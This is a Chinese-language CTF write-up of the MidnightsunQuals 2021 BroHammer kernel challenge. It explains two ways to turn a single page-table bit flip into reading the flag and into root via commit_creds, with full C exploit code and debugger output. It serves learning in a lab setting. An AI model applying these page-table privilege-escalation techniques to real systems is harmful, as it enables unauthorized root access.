【1 bit 翻转+无任何保护】MidnightsunQuals 2021 BroHammer

前言

又是一道非常有意思的题目,其实笔者很喜欢这种跟页表、特权级等相关的题目(:虽然大多都无法独立做出来,但是通过这些题目可以学到很多的东西

题目分析

  • 内核版本:v4.17.0
  • smap/smep/kpti/kaslr 全关

题目给了源码:

#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <linux/syscalls.h>

#ifndef __NR_BROHAMMER
#define __NR_BROHAMMER 333
#endif

unsigned long flips = 0;

SYSCALL_DEFINE2(brohammer, long *, addr, long, bit)
{
        if (flips >= 1)
        {
                printk(KERN_INFO "brohammer: nope\n");
                return -EPERM;
        }

        *addr ^= (1ULL << (bit));
        (*(long *) &flips)++;

        return 0;
}

可以看到漏洞非常简单,1 bit 任意可写地址翻转,只能使用一次。由于这里的 flipsunsigned long 类型,所以这里无法通过修改 flips 实现无限次的任意可写地址 1 bit 翻转;然后代码段又是不可写的,所以也无法修改 if (flips >= -1) 逻辑实现无限次的任意可写地址 1 bit 翻转。所以这里就只能是完全通过一次任意可写地址 1 bit 翻转去提权或获取 flag(:毕竟是 CTF 题目

漏洞利用

方案一:修改 PTE.U/S 实现普通用户对特权页面的访问

首先是参考了 hxp 的方案,其主要就是去拿 flag,思路如下:

  • 前置知识:
    • initramfs 文件系统中的所有内容都会被读取到内存当中,且每次都在一个固定的区域当中,由于关闭了 kaslr,所以这个区域是已知的(记作 flag_area),其对应的 PTE 地址也是固定的
    • PTE 中的 U/S 字段指定一个页或者一组页的特权级,其为 PTE 的第 2 bit (从 lsb = 0 bit 开始),当其为 0 时表示只有 supervisor 才能访问对应的页;为 1 表示普通 user 也可以访问对应的页
  • 利用思路:
    • 先调试定位上述 flag_area 对应 PTE 的地址,其是固定的
    • 然后利用漏洞翻转对应 PTEU/S 字段,此时普通用户就可以访问上述 flag_area 区域
    • 遍历 flag_area 区域寻找 flag

这里实际定位是在 PDE 中,因为这里的 PS 位被置位,所以 PDE 并不执行 PTE,而是直接作为页的起始地址,但是笔者习惯将最后一级转换表称作 PTE

本地的 flag 的内容为:

xiaozaya@vm:~/rubbish/MidnightsunCTF2021_Brohammer$ cat fs/root/flag
this is where the flag will be on the remote host...

调试定位该 flag 所属的 flag_area 区域:

gef> search-pattern "this is where the flag will be on the remote host..."
[+] Searching 'this is where the flag will be on the remote host...' in whole memory
[+] In (0xffff880000200000-0xffff880007e00000 [rw-])
  0xffff880003321000:    74 68 69 73 20 69 73 20  77 68 65 72 65 20 74 68
gef> x/s 0xffff880003321000
0xffff880003321000:     "this is where the flag will be on the remote host...\n"

可以看到这里 flag 的地址为 0xffff880003321000,然后定位其对应 PTE 的地址:

0x00000000018fb0c8: 0x80000000032001e3 (virt:0xffff880003200000-0xffff880003400000,type:2MB-PAGE) A A NO_US A D G XD

可以看到 flag 所在的区域 flag_area0xffff880003200000-0xffff88000340000,其对应的 PTE 的物理地址为 0x00000000018fb0c8,然后其 PTE 值为 0x80000000032001e3,可以看到这里的 bin(3) = 0b11,即这里的 U/S 字段为 0,表示只有特权用户才能访问 flag_area: 0xffff880003200000-0xffff88000340000 区域

0x00000000018fb0c8 转换为虚拟地址为 0xffff8800018fb0c8(这里其实有两个对应的虚拟地址,这里选择直接映射区的这个地址),然后利用漏洞修改 PTEU/S 字段:

gef> x/gx 0xffffffff818fb0c8
0xffffffff818fb0c8:     0x80000000032001e3 <==== 修改前
gef> x/gx 0xffffffff818fb0c8
0xffffffff818fb0c8:     0x80000000032001e7 <==== 修改后 bin(7) = 0b111 ==> U/S=1

可以看到这里已经没有了 NO_US 标志了,说明普通用户已经可以访问 flag_area 区域了:

0x00000000018fb0c8: 0x80000000032001e7 (virt:0xffff880003200000-0xffff880003400000,type:2MB-PAGE) A A A D G XD

最后遍历 flag_area 区域寻找 flag 即可,最后 exp 如下:

#include <stdio.h>
#include <unistd.h>

int main() {
        syscall(333, 0xffff8800018fb0c8, 2);
        unsigned long long start = 0xffff880003200000;
        for (unsigned long long i = 0; i < 0x200000 / 0x1000; i++) {
                char* addr = start + i * 0x1000;
                if (addr[0] == 't' && addr[1] == 'h') {
                        printf("%d: %s\n", i, addr);
                        break;
                }
        }
        return 0;
}

效果如下:
在这里插入图片描述

方案二:修改内核代码段 pte 提权

第二种方案参考 Will's Root 的文章,其跟方案一其实类似,这里就边调试边讲解。通过内核符号表可以知道 startup_64 总是被映射到 0xffff880001000000,调试可以知道其为 PDE 中对应的一个 2M 内存区域:

0x00000000018fb040: 0x80000000010001e1 (virt:0xffff880001000000-0xffff880001200000,type:2MB-PAGE) A A NO_RW NO_US A D G XD

该区域对应的 PDE(PTE) 没有 W 权限和 US 权限,其中题目提供的系统调用函数 __x64_sys_brohammer 也被映射到该区域:

gef> x/3gi 0xffff8800010b1344
   0xffff8800010b1344:  endbr64
   0xffff8800010b1348:  cmp    QWORD PTR [rip+0x8459a8],0x0        # 0xffff8800018f6cf8
   0xffff8800010b1350:  mov    rcx,QWORD PTR [rdi+0x68]
   
gef> x/3gi 0xffffffff810b1344
   0xffffffff810b1344 <__x64_sys_brohammer>:    endbr64
   0xffffffff810b1348 <__x64_sys_brohammer+4>:  cmp    QWORD PTR [rip+0x8459a8],0x0        # 0xffffffff818f6cf8
   0xffffffff810b1350 <__x64_sys_brohammer+12>: mov    rcx,QWORD PTR [rdi+0x68]

所以这里主要的想法就是去控制 0x00000000018fb040 对应的区域,从而控制 0xffff880001000000-0xffff880001200000 区域的权限,然后调试发现,0xffff8800018fb060 处的 PDE(PTE) 可以控制 0xffff880001800000-0xffff880001900000 区域:

      0xffff8800018fb040|+0x0000|+000: 0x80000000010001e1
      0xffff8800018fb048|+0x0008|+001: 0x80000000012001e1
      0xffff8800018fb050|+0x0010|+002: 0x0000000007986063
      0xffff8800018fb058|+0x0018|+003: 0x0000000007987063
      0xffff8800018fb060|+0x0020|+004: 0x80000000018001e3 <====

所以这里可以修改 0xffff8800018fb060 处的 PDE(PTE)U/S 标志位,从而就可以控制 0xffff8800018fb040 的值,从而修改 0x80000000010001e10x80000000010001e7 赋予 WU/S 权限,此时就可以在用户态去修改内核态的代码硬编码,这里选择修改 __x64_sys_brohammer

gef> x/16gi __x64_sys_brohammer
   0xffffffff810b1344 <__x64_sys_brohammer>:    endbr64
   0xffffffff810b1348 <__x64_sys_brohammer+4>:  mov    rdi,0xffffffff81833100
   0xffffffff810b134f <__x64_sys_brohammer+11>: mov    rax,0xffffffff81034bbc
   0xffffffff810b1356 <__x64_sys_brohammer+18>: call   rax
   0xffffffff810b1358 <__x64_sys_brohammer+20>: ret

然后调用 brohammer 系统调用即可执行 commit_creds(init_cred),由于这里是正常的系统调用,所以不需要像之前漏洞利用那样手动返回到用户态,这里正常执行完系统调用后,会自动返回用户态

这里有个问题,我通过 pwntools 生成 shellcode 无法写入,然后我直接写入字符串发现只能写入 9 个字符?但是用参考文章中的方法又可以成功写入,目前暂时不知道咋回事,参考文章中最后 exp 如下:

#include <stdio.h>
#include <unistd.h>
#include <stdint.h>

#define FLIPS 0xffffffff818f6cf8
#define COMMIT_CREDS "0xffffffff81034bbc"
#define INIT_CRED "0xffffffff81833100"
#define evil "mov rdi, "INIT_CRED";\nmov rax, "COMMIT_CREDS";\ncall rax;\nret;"

void rootkit();
asm("rootkit:"
    evil);

void GUARD()
{
    return;
}


int main() {
        syscall(333, 0xffff8800018fb060, 2);
        uint64_t* addr = 0xffff8800018fb040;
        *addr = 0x80000000010001e7;
        char* code = 0xffff880001000000 + 0xb1348;
        //char* shellcode = "\x90\x90\x90h\x001\x83\x81_h\xbcK\x03\x81X\xff\xd0\xc3";
        char* shellcode = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB";
        memcpy(code, rootkit, GUARD-rootkit);
        syscall(333, 0xdeadbeef, 0);
        system("/bin/sh");
        return 0;
}

IDA 打开生成的 lpe 二进制文件:
在这里插入图片描述
但是我直接用 pwntools 生成的 "H\xc7\xc7\x001\x83\x81H\xc7\xc0\xbcK\x03\x81\xff\xd0\xc3" 却无法正常写入,这里都是一样的,不知道为啥

效果如下:
在这里插入图片描述

总结

通过调试,对 linux 四级页表更加清晰了,也对相关保护权限有了一定的了解,总的来说学到了很多😀

参考

Midnightsun CTF 2021: Brohammer
MidnightsunQuals 2021 BroHammer Writeup (Single Bit Flip to Kernel Privilege Escalation)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值